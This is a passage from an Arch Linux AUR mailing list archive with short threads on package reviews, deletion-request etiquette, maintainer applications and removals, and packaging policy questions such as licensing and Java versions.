was that the ocaml bindings were not building properly. It was easier to remove them than try to repair them, especially as I have zero knowledge of ocaml. There is some nuance to that, however: - The OCaml bindings are generally not well maintained upstream, afaik - The serially previous maintainers were working towards a minimum viable build, which I've tried to respect as much as I can - The flag to disable OCaml support was already in the ./configure stanza, but that flag had since been renamed - Apparently, no one was using it. I hope that helps explain things! -Sam

1 0

xen moving to [extra]
by Sam Mulvey 22 Jan '24

22 Jan '24

Hello! I've been maintaining xen and associated packages for a few years. This relative evening the package got the following comment: https://aur.archlinux.org/pkgbase/xen#comment-952940 I think it'd be a great idea to include xen in [extra], and I'm wondering if there's some way I could be of assistance or part of any ongoing discussion about it, if any. Thanks! -Sam

2 1

Addition of Support Staff - wahrwolf
by Anton Hvornum 18 Jan '24

18 Jan '24

Hi! I'd like to start the on-boarding process for wahrwolf[1] as a support staff and mirror admin. I hereby sing off as a sponsor with my reasoning below. Wahrwolf, or Vincent, has shown great dedication and engagement with myself and other staff. Vincent has also been a integral part of making progress on several Mirror improvements such as: * A new Mirror definition RFC[2] * A new mirror tooling called 'mirrorctl'[3] (work in progress, but work being done nevertheless) * Several on-line meetings regarding mirrors and mirror management Vincent also graciously hosted 2023's Arch Linux Summit. Overall my experience with Vincent has been good and I think Vincent would make a great addition to the support staff and especially the mirror admins. [1] https://gitlab.archlinux.org/wahrwolf [2] https://gitlab.archlinux.org/archlinux/rfcs/-/merge_requests/29 [3] https://gitlab.archlinux.org/archlinux/mirrorctl

1 0

changing name
by james smith 18 Jan '24

18 Jan '24

when you open the aur page it says "Some packages may be provided as binaries in [community]." That should be changed to say "Some packages may be provided as binaries in [extra]."

2 1

What to do with oh-my-zsh-git, a package people might not know how to start using
by Aaron Liu 14 Jan '24

14 Jan '24

Greetings AUR users, (hmm I sound like an alien) This package on the AUR called oh-my-zsh-git has been occasionally flagged by people who do not understand that you have to add a line to zshrc to start using it. I suggested a clearer and less suspicious postinstall message, which the package's current maintainer and another user in the comments denied as Arch users should know their system and inspect the PKGBUILD. The package's maintainer then suggested a counterproposal of shipping a symlink of /usr/bin/ohmyzsh-install to "install.sh", which I presume is the name of the official install script. I don't think we should symlink that to oh-my-zsh-something. At most, it should echo the instructions. Plus, I think this is a worse solution than simply putting a message in the postinstall on both merits and practicality. No matter how much people try it, there will be less people who try to tab-complete than those who read the postinstall messages, and nowhere in "know your system" do I see "blindly try tab-completions"; not to mention this package's name is oh-my-zsh-git, not ohmyzsh-git. Yes, ohmyzsh is the official name, but I don't expect users to know that. We cannot rely on users having hyphen completions enabled. This entire exchange occurred in the comments of that package. What do you guys think? -- Cheers, Aᴀʀᴏɴ

2 1

wiringX-git PKGBUILD Review Request
by David C. Rankin 09 Jan '24

09 Jan '24

All, I'm thinking of adding a wiringX-git package to AUR and wanted to put the PKGBUILD out for comment and help. It's a simple tiny package used for embedded development to manipulate GPIO pins. What I've cobbled together is: pkgname=wiringX-git _gitname=wiringX pkgver=251.54030cd pkgrel=1 pkgdesc="wiringX is a modular approach to several GPIO interfaces." url="httpx://wiringx.org/" arch=('i686' 'x86_64' 'armv6h' 'armv7h' 'aarch64') license=('MPL-2.0') makedepends=('git' 'cmake') source=('git+https://github.com/wiringX/wiringX.git') md5sums=('SKIP') pkgver() { cd "${srcdir}/$_gitname" echo $(git rev-list --count HEAD).$(git rev-parse --short HEAD) } prepare() { cd "${srcdir}/$_gitname" mkdir -p build cd build msg2 "Cmake..." cmake .. } build() { cd "${srcdir}/$_gitname/build" msg2 "Building wiringX..." make } package() { cd "${srcdir}/$_gitname/build" msg2 "Packaging wiringX..." make DESTDIR="$pkgdir/" install mv "$pkgdir/usr/local/"* "$pkgdir/usr" rm -r "$pkgdir/usr/local" install -Dm644 "${srcdir}/$_gitname/LICENSE" "${pkgdir}/usr/share/licenses/${pkgname}/LICENSE" } And it produces: $ pacman -Qpl wiringX-git-251.54030cd-1-x86_64.pkg.tar.zst wiringX-git /usr/ wiringX-git /usr/include/ wiringX-git /usr/include/wiringx.h wiringX-git /usr/lib/ wiringX-git /usr/lib/libwiringx.so wiringX-git /usr/sbin/ wiringX-git /usr/sbin/wiringx-blink wiringX-git /usr/sbin/wiringx-interrupt wiringX-git /usr/sbin/wiringx-read wiringX-git /usr/share/ wiringX-git /usr/share/licenses/ wiringX-git /usr/share/licenses/wiringX-git/ wiringX-git /usr/share/licenses/wiringX-git/LICENSE We may also want to include the static library. Thoughts? -- David C. Rankin, J.D.,P.E.

6 19

edbrowse being outdated is understandable
by Jude DaShiell 29 Dec '23

29 Dec '23

The maintainer aksr has 389 packages to their credit and hasn't gotten around to doing a git pull on upstream site and another build of edbrowse. Since I can't log into aur original primary email address jdashiel(a)shellworld.net got blacklisted and in process to cutting over to my current address I forgot I had set up an aur account on that older blacklisted address. -- Jude <jdashiel at panix dot com> "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." Ed Howdershelt 1940.

1 0

aur/edbrowse package
by Jude DaShiell 28 Dec '23

28 Dec '23

Incorrectly flagged as out of date. Upstream edbrowse went from version 3.85 to 3.87. -- Jude <jdashiel at panix dot com> "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." Ed Howdershelt 1940.

2 1

Re: Removal of linux-bin AUR package (suspended account)
by myself600＠tutanota.de 27 Dec '23

27 Dec '23

I'm asking for my account to be restored on the basis presented above. -- Odoslané pomocou Tutanoty. Užívaj si bezpečné e-maily bez reklám.

6 8

Re: four failed packages
by Jude DaShiell 27 Dec '23

27 Dec '23

Correct name for missing package is primerl. -- Jude <jdashiel at panix dot com> "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." Ed Howdershelt 1940. On Wed, 27 Dec 2023, Ralf Mardorf wrote: > On Wed, 2023-12-27 at 06:41 -0500, Jude DaShiell wrote: > > I need maintainer's email addresses for four failed packages on this > > system. > > Hi, > > the following information is from https://aur.archlinux.org/ : > > zapm Last Updated: 2018-09-09 11:50 (UTC), > # Maintainer: Kyle Keen <keenerd(a)gmail.com> > > primeurl No packages matched your search criteria. > > iphonebackuptools Last Updated: 2022-05-05 18:16 (UTC) > # Maintainer: graysky <therealgraysky AT protonmail DOT com> > > whatscli Last Updated: 2021-11-02 21:12 (UTC) > # Maintainer: Pieter Joost van de Sande <pj(a)born2code.net> > > whatscli-git Last Updated: 2020-11-30 05:16 (UTC) > # Maintainer: Pieter Joost van de Sande <pj(a)born2code.net> > > Regards, > Ralf >

2 2

four failed packages
by Jude DaShiell 27 Dec '23

27 Dec '23

I need maintainer's email addresses for four failed packages on this system. zapm; primeurl, and iphonebackuptools won't compile on this system. The fourth package whatscli installs and every time the package runs it does a core dump as it exits even on whatscli /commands and whatscli /help. -- Jude <jdashiel at panix dot com> "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." Ed Howdershelt 1940.

3 2

Re: Removal of linux-bin AUR package (suspended account)
by myself600＠tutanota.de 19 Dec '23

19 Dec '23

While Arch optimized builds would be certainly preferred, this package works to the same degree as in Debian for me. -- Odoslané pomocou Tutanoty. Užívaj si bezpečné e-maily bez reklám. 19. 12. 2023, 14:09 od aaronliu0130(a)gmail.com: >> On Dec 19, 2023, at 7:35 AM, myself600(a)tutanota.de wrote: >> >> >> @Marcell Meszaros: The package is about solving freedom related issues, so I don't see a point in your comment. >> > > Mars’s point was that that kernel targets Debian distributions and don’t have the patches wanted for Arch use. >

1 0

Removal of linux-bin AUR package (suspended account)
by myself600＠tutanota.de 19 Dec '23

19 Dec '23

I would like to appeal against PRQ#52152, which claims that the uploaded package is a duplicate. The package uses Debian's Linux kernel as source which (as was communicated to the TU and also stated on the package page) moves non-free (non-DFSG compliant) parts to separate packages*, making it a drop-in replacement for Arch's kernel for people who want to use a 100% free kernel, while also retaining the ability to load those parts individually. * https://www.debian.org/doc/manuals/debian-kernel-handbook/ch-source.html#s-… -- Odoslané pomocou Tutanoty. Užívaj si bezpečné e-maily bez reklám.

5 5

Packages for a simple symbolic link?
by Ralf Mardorf 05 Dec '23

05 Dec '23

Hi, I came across the following packages purely by chance. https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=cachy-browser-firefo… https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=librewolf-firefox-sh… Should I submit a deletion request? IMO it's strange to build a package just for a link. Regards, Ralf

2 1

Application to become a package maintainer
by Jakub Klinkovský 03 Dec '23

03 Dec '23

Hey everyone, I'm sending my application to become a package maintainer, which is kindly sponsored by Sven (svenstaro) and Frederik (freswa). ## Who I am My name is Jakub, but I'm mostly known as Lahwaacz online. I've been an Arch wiki admin since 2014 and also created the man.archlinux.org project. In real life, I have scientific background and I'm interested in programming, automation and infrastructure. I write Python, C++ and CUDA (no Rust yet :-(). ## What I want to do I want to help with package maintenance in two general areas that are closest to me: 1. Due to my background, I'm using many weird scientific packages (almost) daily, including cuda, openmpi, vtk, paraview and more. Most of these are notorious for breaking often and I'd have to deal with this anyway, so I might as well directly co-maintain them. 2. As a wiki admin I could co-maintain some wiki-related packages, both for users and for backend deployment. The Arch wiki is based on MediaWiki which is currently deployed from a single git mono-repository that contains all necessary extensions (either bundled or as git submodules) but we would like to eventually use Arch packages for MediaWiki and its extensions. This is a long-term goal for me, however, since I have yet to learn how to do PHP packaging properly... I may find also other areas where to invest my packaging time, but overall I imagine myself maintaining a small-ish number of packages and focusing on quality rather than quantity. ## Disclaimers First, I think it is fair to acknowledge that I do not plan to deal with handling AUR requests, which is still associated to the role of a package maintainer. Dealing with the wiki is hard and time consuming in itself and I don't have the capacity to add another similarly exhausting responsibility. I like Python as a language, but I dislike Python packaging and I don't see myself maintaining many Python packages in the future. I might change my opinion, though, since I would really love to see jupyterhub in the official repos: https://aur.archlinux.org/packages/jupyterhub ## My packages My AUR packages: https://aur.archlinux.org/packages?SeB=m&K=lahwaacz I also maintain an unofficial [jlk] repo which contains many other AUR packages that I use: https://jlk.fjfi.cvut.cz/arch/repo.html Feel free to bombard me with any questions or package reviews :-) Best regards, Jakub / Lahwaacz

5 9

Missing introduction to AUR
by Glyn Normington 28 Nov '23

28 Nov '23

Having only recently encountered AUR after a year or two of using arch, I wonder if the landing page https://aur.archlinux.org/ could include some introductory information or a link to the introduction on the wiki ( https://wiki.archlinux.org/title/Arch_User_Repository) Regards, Glyn

2 1

Re: Requests and the etiquette involved
by Lime In a Jacket (Aaron Liu) 23 Nov '23

23 Nov '23

I, for one, have never heard of using “w” as “without”. W much, much commonly means “with”. > On Nov 22, 2023, at 9:31 AM, Björn Bidar <bjorn.bidar(a)thaodan.de> wrote: > > > Hey, > > I fully agree with that statement. The automated checks can only go so > far. > Of course there are cases where the package has been out of date for > longer, however even in such cases the packager might have forgotten to > update the package after he got the request or there was an issue on > their side. > E.g. on case I did an update but forgot to push it. > > I also noticed that more users use out-of-date flags as a way to bug the > maintainer of a package for attention. > > I had a package teams-for-linux-wbunbled-electron that was simply > deleted/merged after such a request because the author of the request > didn't understood what w as in without means. > > I would favor that before a request is send the user should try to send > a comment or request simply shouldn't be automatically accepted before > the user has time to reply e.g. after at least a week to reply. > Sometimes it feels like users except that there is an update at day 1. > > Br, > > Björn

3 2

About user MarsSeed's script-like mass requests
by 7Ji 21 Nov '23

21 Nov '23

My opinion on this first: I'm not against his intention to clean AUR. I'm against using some self-written scripts to mass-file requests to certain packages just based on t heir traits, like keywords, names, or whatever. I'm also against doing so by hand, which is basically using yourself as a request machine. I think most of us would agree that every request, no matter they're for orphan, merge, or deletion, need to be thought carefully and sent with details associated close ly with it. And blindly filing them just adds burden to PMs as this leaves research to be done to PMs. The direct reason I want to post this is reading following requests: PRQ#51267[1], PRQ#51269[2], PRQ#51270[3] and PRQ#51271[4], these affects armcl-opencl[5], arm-linux -gnueabihf-armcl-neon[6], aarch64-linux-gnu-armcl-opencl+neon[7] and aarch64-linux-gnu-armcl-neon[8] accordingly. If you take a look at the packages, you could clearly see they're for cross-compiling on an x86_64 ArchLinux host to an ARM target. These are just like aarch64-linux-gn u-gcc, arm-linux-gnueabihf-gcc, etc in the official repos, and they have useful functionality like opencl and neon support. But how did MarsSeed write his deletion requests? Each of them are simply just the following message copy and pasted, and there're more, tens of, if not hundreds of oth er requests with pasted detail same as them: > ARM-only packages belong to ArchLinuxARM.org repos, not AUR: > > https://archlinuxarm.org/packages > > https://archlinuxarm.org/forum/viewtopic.php?f=9&t=2675 > https://archlinuxarm.org/forum/viewforum.php?f=4 > > AUR is primarily for Arch Linux, so packages here must work with the > x86_64 architecture: > https://wiki.archlinux.org/title/Arch_package_guidelines#Architectures I think we could say these requests are clearly filed by some automated process that's triggered on any package with arm or aarch64 keywords. But the process catches wr ong targets and these requests would result in either wrongly deleted packages or increased labor for PMs to read the PKGBUILDs by themselves before rejecting them. This is not right. This, an automated request filing process, should not be the way a user files their package requests. If an automated process just catches all packag es with some traits and filing requests is acceptable, then why is a user needed in the process at all? The user account is just like an API key for a bot program in that case. And if doing so is acceptable, why not just give the script or whatever tech behind the automated process to PMs so they can even save the time needed to check requests list? Still, I appreciate the amount of time MarsSeed put previously on clearing the AUR. I think there might be ~10k requests filed by him ever since he joined AUR (based on a simple search of 'MarsSeed [1]' in the aur-requests mailing list), and I'd like to see him continuing on his work, but not in such robotic way.

10 20

Requests and the etiquette involved
by Lex Black 21 Nov '23

21 Nov '23

Good evening, what happened to the general etiquette in trying to contact someone before submitting requests? It's all nice and fair if someone wants to help clean up the AUR. And it's also the case that one of my (now ex-)packages is a candidate for deletion/merging, if the replacement is able to replace it. If being the keyword. I wanted to do that when the new package is able to replace the old and therefore I was still the maintainer. And to my surprise someone filed recently a merge request. Not that I was contacted before that someone took action. Didn't say a thing, because, as I said, this request has a point and wasn't sure if arguing to keep it is worth the hassle. But today came the next surprise. An orphan request with the words "Orphaning to facilitate quicker merging to papermerge-core.". Which got granted and subsequently taken by the new "maintainer". Again without trying to contact me beforehand. And that was the final straw. It left me speechless and upset. I get now why this was automatically accepted albeit being an active participant on the AUR. Again.. The PKGBUILD in question is on balance time. What matters to me more and what I am upset about is the behaviour in question. Before I make a request and the package has still an owner I try to contact them or at least make sure they are inactive. But that isn't important anymore? This is at least the third time were a PKGBUILD, where of the time being I was the active maintainer, got some request which was granted without an effort in communicating before. This felt really disrespectful. There is time and effort involved in helping actively on the aurweb and then someone comes through, not caring that there is an active maintainer who might have to say something on the topic and does whatever someone thinks. What the hell? This is, at least as far as I know, not how a community works. But maybe I'm wrong. Whatever. This is of my chest now. tl;dr: I wish, all people that go through packages to achieve a cleaner aurweb, would pay attention to the maintainer field on the aurweb and act accordingly. Best regards

4 4

about translating certain words
by zoorat 18 Nov '23

18 Nov '23

hi, I was planning to translate AURweb and archwiki into Bangla. but got into a problem. sorry if I missed this info in the wiki. while reading badly translated https://wiki.archlinux.org/title/Pacman_(%E0%A6%AC%E0%A6%BE%E0%A6%82%E0%A6%… I got confused about how to translate the word "update". because, in Bangla, most people say the word "update" as is but the direct translation would be "হালনাগাদ"(Hālanāgād). I only ever saw people using the word halnagad inside some schoolbooks, not in real life... there are a lot of words like this where we use the English word more than the Bangla word. as it's rare to find documentation in Bangla, I don't know how other people do those. and most Bangla machine translation is just bad. so, my question is do I translate it to casual Bangla (how people normally talk even in formal situations), or hardcore pure Bangla translation ?? in my opinion, it's better to keep it how people normally talk. have a nice day. -- yours zoorat, PGP: 00000586360F8791A5492251129802DDA8074345 GITHUB: https://github.com/z00rat

1 1

Re: got a laptop 🙂
by zoorat 14 Nov '23

14 Nov '23

hi, thanks a lot for the answers. idk why i didn't get your email in the digest, so i will it mail like this... > Maybe instead of trying to delete everything which is unmaintained you > should start adopting it and then maintaining it? i was just trying to help cleanup AUR. didn't mean any harm. i wrote some script myself to help me do this. i do pick up packages that look like people use. > David, I believe they meant should orphaned old packages be deleted for > not being up to date and not actively maintained, if so see above. > > If I am wrong, feel free to correct me Zoorat. see my answer: https://lists.archlinux.org/hyperkitty/list/aur-general@lists.archlinux.org… > In general, a lot of people prefer diff in comments (I believe this is > discouraged by package maintainers, but I can't fully remember) or > emailing a patch. This means that there is no privacy concerns. sure, i will do this then > As a general note, "glibc" does not need to be specified as a > dependency as it is within the "base" package, and thus installed on > system, it doesn't hurt to specify it however. i added that because of namcap. > I only briefly looked through each of the packages, this is in no way > an indepth analysis, it already took me a good hour to look though each > one above, I suggesting specifying specific ones you want checked > indepth instead of the long process of checking each one. thanks a lot. i will fix up everything as soon as possible. > I will be brutally honest here (please do not take anything I say as a > personal insult), although I am a regular user, I will explain how this > works (You could also read: sorry, i wasn't trying to be an asshole who just wants the title to show off. i added those numbers not to flex but to help determine. but as i read my own email now, it's looks stupid. please let me explain for the full context, my first contribution to AUR was a deletion req because the package i was trying to install was broken and thought it would be a good idea to report this to maintainers. googled about it and saw people talking about deletion request. after that i, found some other broken packages and reported them. it was the time of covid, so i had a lot of time on hand, thus i started to seek broken packages. i tested them and commented/mailed them to fix or reported them for deletion. at that time i started to maintain some packages too. i wanted to be a TU because i thought i could help test and validate other people's deletion requests. as my req would take quite a while, i thought i could be useful. nothing else. after reporting 500+ `ros-jade-*` broken packages, @ainola mailed me to thank me for the help. and i asked him about being a TU. he said my account was young at that time and to keep helping them... the last email was just to get know about my state... sorry for my english. > Maintaining a few packages isn't generally enough, have you submitted > bugs? have you tried joining the Arch Testing Team and testing packages > and submitting issues, or even patches to the packages to fix them? i have reported bug before in bugzilla and joining the test team sounds fun :) > Your account might not be young, but you have disappeared for a year... > you can't just leave for a few years pop back and say "look my account > is old now". Every package maintainer put ridiculous amounts of time > into their role before they were even considered. i wasn't active on the mailing list or irc but i was maintaining my packages. i didn't mean to disrespect any maintainer here. > But say you got outstanding activity, do you have the skill? Have you > showed the ability to package pragmatically? Most of your packages are > very straight forward and easy to follow the guidelines, but this is > not always the case. this is the reason i wasn't very interested in maintaining packages at first... and i don't adopt complex c/c++ based packages for this reason but started to get out of my comfort zone nowadays > Its very childish to say, "hey I maintain a few packages, and my > account is older now, can I have a job", something I learnt to ask > myself is "Why should I be picked?", and yes when I ask myself that in > the context of becoming a package maintainer its "hell no". i didn't mean to disrespect any maintainer here. i just wanted to help test the deletion requests of other people. nothing else. > In other words, stop trying so hard to become a package maintainer, and > focus on actually contributing, the rest comes later. sure. it's not like i will just stop contributing here because i see myself being a maintainer. i wanna help with the open source project i use, that's why i contribute in AUR. > Anyways, I have wrote a lot, and I have spent way too many hours doing > so, but I hope there is at least some usual information here for you :) i'm really really grateful for your answers. helped me a lot. have a nice day. p.s. english is not my first language. ask me anything if it confuses you. -- yours zoorat, PGP: 00000586360F8791A5492251129802DDA8074345 GITHUB: https://github.com/z00rat

2 1

attention needed about 'acmt-*'
by zoorat 14 Nov '23

14 Nov '23

hi, i stumble upon 28 packages with the name 'acmt*' link: https://aur.archlinux.org/packages?O=0&SeB=nd&K=acmt all of those packages, - doesn't have `checksum=` - doesn't have `source=` - sources inside `prepare()` like `_archive="`xdg-user-dir DOWNLOAD`/acm-plugins-*.tar.gz"` - are orphan - 0 votes, 0 popularity - no download instruction tried to build some of them, but they had some .so files. i'm not sure if it's allowed to have packages like this. if you have time, look into it. have a nice day. -- yours zoorat, PGP: 00000586360F8791A5492251129802DDA8074345 GITHUB: https://github.com/z00rat

2 1

Re: got a laptop
by zoorat 13 Nov '23

13 Nov '23

sure, i will do that if it works already picked up some pkgs like that :) and what if its broken ?? On 11/13/23 10:32, aur(a)nullvoid.me wrote: > I feel most users just want it to work, instead of maintaining it properly. So if you see out of date packages over 2-3 year that still "work" why not try to adopt them, instead of deleting them. -- yours zoorat, PGP: 00000586360F8791A5492251129802DDA8074345 GITHUB: https://github.com/z00rat

1 0

Re: got a laptop
by zoorat 13 Nov '23

13 Nov '23

hi, thanks for the answer. but i think i asked the question in the wrong way. when i was testing out-of-date packages there were some with out-of-date flag before 2020 but those works i was meaning to ask, **how long does the package have to be out of sync with the main source ??** also i found some pkgs with depreciated `git://` but those works after modding it with `git+https://`. i generally report them if and only if they are orphans. On 11/13/23 04:51, aur-general-request(a)lists.archlinux.org wrote: > "David C. Rankin" <drankinatty(a)gmail.com> writes: > >>> 2. should AUR host out-of-date but working packages ?? >>> >> >> There is always a sliding-scale of "How out-of-date?". Is some user of >> the package just flagging it 10 minutes after the latest upstream >> change? >> >> Is a dependency no longer supported by Arch (that's what AUR is >> for...)? >> >> Some packages may not have been updated in quite a while, but may be >> 100% valid and still good. >> >> This is hard to give advise on without knowing more about what you are >> considering "out-of-date"? > > I want to add that sometimes the maintainer might be already > working on an update but didn't release it. > It's easier to branch of a package and test it until merging it to the > AUR sometimes. -- yours zoorat, PGP: 00000586360F8791A5492251129802DDA8074345 GITHUB: https://github.com/z00rat

2 1

got a laptop :)
by zoorat 12 Nov '23

12 Nov '23

hi, i am the same guy from https://lists.archlinux.org/hyperkitty/list/aur-general@lists.archlinux.org… got a system with archlinux after a long time. it took way too long because my exam just got delayed and delayed then on top of that, some other stuff stupid happened... currently got into a university and studying CSE. during this time, i used an archlinux container from an old mac to keep my cli packages up to date. still using that mac but flashed it with linux. i wanna thank all those people who tried to help me fix my laptop and set up a server to keep maintaining my packages, i can't explain how happy those emails made me. and also thanks to all who co-maintained my packages. thanks a lot mate. i'm back reporting broken packages in AUR. already 52 pending :) love this new /requests page, wish it had some personal stats. but as i wasn't very active on the mailing list, i don't really know much about new or changed rules. please tell me what changed and what i should not do. some questions: 1. is it ok to file deletion req for not orphan also not out of date package ?? should i first try to contact the maintainer and if he does not update, should i file req then ?? what if there is no way to contact him ?? 2. should AUR host out-of-date but working packages ?? 3. is it ok to ask people to be co-maintainer for their pkgs ?? 4. review my PKGBUILDs, please list: https://aur.archlinux.org/packages?K=zoorat&SeB=m 5. about TU ?? my 1224 deletion req was accepted, and 6 deletion req was rejected, 52 req is pending for now. (got this number by filtering by `notify(a)aur.archlinux.org` and searching for "has been rejected by" / "has been accepted by". don't know if it's right info tho) and i'm also maintaining some pkgs. is this enough ?? when i asked last time, @ainola told me my account was young. do i meet the requirements for being a TU ?? 6. shouldn't i remove inactive co-maintainers ?? thanks in advance. p.s. sorry about my English. -- yours zoorat, PGP: 00000586360F8791A5492251129802DDA8074345 GITHUB: https://github.com/z00rat

4 3

Removal of Jonas Witschel (diabonas) as Package Maintainer
by Levente Polyak 09 Nov '23

09 Nov '23

Hi all, I'd like to start a "Special Removal of an Inactive Package Maintainer" [0] for Jonas Witschel (diabonas) based on prolonged inactivity. Jonas has not executed any packaging or AUR maintenance duties since a very long time. Due to this I tried to reach Jonas since quite a while over various channels. Finally I was able to get a response via Signal mid of January 2023. He promised to try to catch up with things that neglected, which unfortunately still didn't happen for his Arch responsibilities. Afterwards I've also tried to get a response in March, May, June and August, without success. Furthermore, gromit has also reached out independently while trying to reach all package maintainers that missed multiple votes, also without success. Hence we also started replacing Jonas as main key holder and I hereby start the Package Maintainer removal with this thread. The discussion period will last for three days, after which there will be a voting period of five days. Cheers, Levente [0]: https://package-maintainer-bylaws.aur.archlinux.org/#_special_removal_of_an…

3 6

'gnome-passwordsafe' rename to 'secrets'
by Fabian Bornschein 09 Nov '23

09 Nov '23

Hi! :) gnome-passwordsafe was renamed to "secrets" 2 years ago[0]. As per FS#80135[1] there is a open bug report. The secrets package is available in extra-testing[2] for a week, tested (install, upgrade from gnome-passwordsafe, uninstall + reinstall) and seems looks good to me to move. Since this is a new package the rules[3] require to post this on the mailing list and find 3 other maintainers that agree on it to move to extra (and of course to remove gnome-passwordsafe[4] and the AUR PKGBUILD[5] in the process). [0] https://gitlab.gnome.org/World/secrets/-/commit/65720af5023cc5a08e31076cfe0… [1] https://bugs.archlinux.org/task/80135?project=1&string=secrets [2] https://archlinux.org/packages/extra-testing/any/secrets/ [3] https://wiki.archlinux.org/title/Package_Maintainer_guidelines#Rules_for_pa… [4] https://archlinux.org/packages/extra/any/gnome-passwordsafe/ [5] https://aur.archlinux.org/packages/secrets -- Fabian Bornschein <fabiscafe(a)archlinux.org>

2 1

Disowning my mingw packages
by Ivan Puntiy 06 Nov '23

06 Nov '23

1. For a few years now I no longer work with C++ as my primary language. 2. Due to a war in my region I no longer have access to my home computer with Arch installation. 3. There keeps coming action requests on them, that I can't currently act upon. Therefore I'm disowning my following AUR packages, and they are free for adoption by a willing individuals: * mingw-w64-wxmsw * mingw-w64-wxmsw3.1 * mingw-w64-libdxfrw Ivan.

1 0

[aur-general] TU rename Bylaws amendment vote
by Konstantin Gizdov 25 Oct '23

25 Oct '23

Hi, As per the TU Bylaws following the discussion to rename the Truster Users [1], the Trusted Users themselves must vote to approve the renaming. Hence, please, cast your vote on whether you agree the Bylaws be amended and the "Trusted User" role is renamed into "Package Maintainer". Vote is located at - https://aur.archlinux.org/tu/140 -- Regards, Konstantin [1] - https://gitlab.archlinux.org/archlinux/rfcs/-/merge_requests/7

2 6

PKGBUILD review request for displaylink-runit
by Eric 21 Oct '23

21 Oct '23

Hi all, I'm working on this PKGBUILD to provide a displaylink-runit service. I use an Artix based distro using runit instead of systemD as the init system. Before I publish this, please review this. I have posted the link to my PR to a few Linux communities and I have addressed their comments, so hopefully that takes care of my small mistakes haha. If you have the hardware to test, that would be great! https://github.com/e-dong/aur-displaylink-runit/pull/1 References: https://aur.archlinux.org/packages/displaylink https://wiki.archlinux.org/title/DisplayLink Best, Eric

3 3

Dealing with unclear upstream licensing and legality
by netsysfire＠das-labor.org 27 Sep '23

27 Sep '23

abgx360 has been deleted recently (see https://lists.archlinux.org/archives/list/aur-requests@lists.archlinux.org/…) I noticed it because https://wiki.archlinux.org/title/Burning_Xbox_360_games has a broken link. There are two reasons for the deletion: 1. Legality of home backups. Though we have stuff like popcorntime in the AUR or even whipper in extra, so it should not matter. 2. Bad licensing. There is no upstream license set, thus applying the default copyright rules: > You're under no obligation to choose a license. However, without a > license, the default copyright laws apply, meaning that you retain all > rights to your source code and no one may reproduce, distribute, or > create derivative works from your work. However, as the AUR only ships PKGBUILDs we are neither reproducing or distributing it and it does also not seem like a derivative work. Alad already poked upstream about this. https://github.com/BakasuraRCE/abgx360/issues/7 This was also painstakingly discussed on IRC in both -aur and -wiki, leading to walls of text. Antiz made the decision to delete in good faith and there was apparently also an internal discussion in the staff channel, which we agreed on should have been public. My opinion is that the package should be restored. I do not even use it and only noticed because of said dead link, yet the decision feels off. Antiz said that they are rethinking it, too.

7 12

Possible duplicate or bad naming (greenclip and rofi-greenclip)
by Polarian 26 Sep '23

26 Sep '23

Hello, I have found the following two packages: https://aur.archlinux.org/packages/greenclip https://aur.archlinux.org/packages/rofi-greenclip At first by name they seem like duplicates, but it seems greenclip is a source package and rofi-greenclip is a binary package but has not added the -bin suffix which has caused duplication. I can't really "flag for bad naming" so I decided to post it here to bring attention to it so it can be fixed. As greenclip is an open source project a binary package should be suffixed with -bin as per the packaging guidelines, so although greenclip is a duplicate it is actually correctly named unlike the latter. As it seems to be a rofi integration the name "rofi-greenclip" does seem like a much better name, so I would suggest the following: - rofi-greenclip is renamed to rofi-greenclip-bin as it is a binary package. - greenclip being a source package is named correctly, however as it is a rofi addition it might be better to rename it to rofi-greenclip, but there is no conventions to the best of my knowledge which "force" this rename, just a possible improvement. Let me know if I have misunderstood or made any mistakes, or if you disagree with my suggestion :) Also I hate to point this out, but the reason I found this was editing the ArchWiki, I am not playing moderator, an wiki page can not provide the right package name if there is two packages which are conflicting one another. I had to point this out to prevent bad faith so I apologise for being defensive. Take care, -- Polarian GPG signature: 0770E5312238C760 Website: https://polarian.dev JID/XMPP: polarian(a)icebound.dev

2 4

Packages being flagged out of date
by Jeremy Gust 18 Sep '23

18 Sep '23

I have noticed several packages that have been flagged out of date, but they are not. The stated reason for the flag will be a problem the user has with the PKGBUILD that is unrelated to the program's version or if the package can be built. I did not see anything in the wiki directly addressing this, so, being relatively new to contributing to the AUR I was curious if this is considered appropriate. At least one package also has an orphan request referencing the flag, which seems misleading to me if the flag should only be used for alerting the maintainer and users to a new version upstream. I have purposely not included package names to avoid calling out anyone publicly.

5 16

AUR Cleanup Day September 20th 2023
by Daniel M. Capella 18 Sep '23

18 Sep '23

Our bi-yearly AUR Cleanup Day is coming up this Wednesday, but we currently have a very large number of requests in the queue. The Trusted Users will instead be having a spa day this year. If you feel the urge to hunt down packages and file requests against them, knock yourself out. https://wiki.archlinux.org/title/AUR_Cleanup_Day -- Best, Daniel <https://danielcapella.com>

1 0

Java version to use
by Polarian 17 Sep '23

17 Sep '23

Hello, I have looked around for an answer to this, but I have yet to find one. I try to stay quite rigid to the Arch way of doing things, trying to use the latest version of all tools to build said codebase. I have just updated one of my packages to use the Arch Gradle version instead of the gradle version used by upstream, I have also recently migrated the same project to using the latest version of node as it is compatible. For more information about this migration, see: https://github.com/reposilite-playground/reposilite-aur/issues/17. So this brings up a new question, what Java version to build packages with? Older Java versions are supported, and compiling with older Java gives more backwards compatibility (new Java versions can use old bytecode, but old Java versions cant use new bytecode). Personally I am tipping towards building with the latest java version (jdk-openjdk), if the code provided by upstream compiles just fine for said version, shouldn't we promote using the latest versions instead of building with the "officially recommended" versions, this is Arch, the idea is to use the newest tools which are packaged is it not? I got a feeling people might complain not being able to use their old versions of Java with newer builds, but new Java versions have performance improvements, memory improvements, and just general improvements to allow the JVM to run better, so why not push for the latest version to get used? I know this breaks Java ideology, which is compile once run anywhere, but I say compile latest and have the best optimisations possible. I am interested to see what others think about this, as it is within the AUR I can trail this and see how it goes. Of course, if the project doesn't build with the latest version, use an older runtime, but why are we adding >=11, Java 11 is old now, and although it is LTS and the most common version, the performance difference between 11 and 20. I have found the following (I do not know how reliable said statistics is), but it should give a general idea of why I believe this is beneficial: https://www.optaplanner.org/blog/2021/09/15/HowMuchFasterIsJava17.html Please let me know what others think about this? It boils down to compatibility or performance, and I would go for performance, 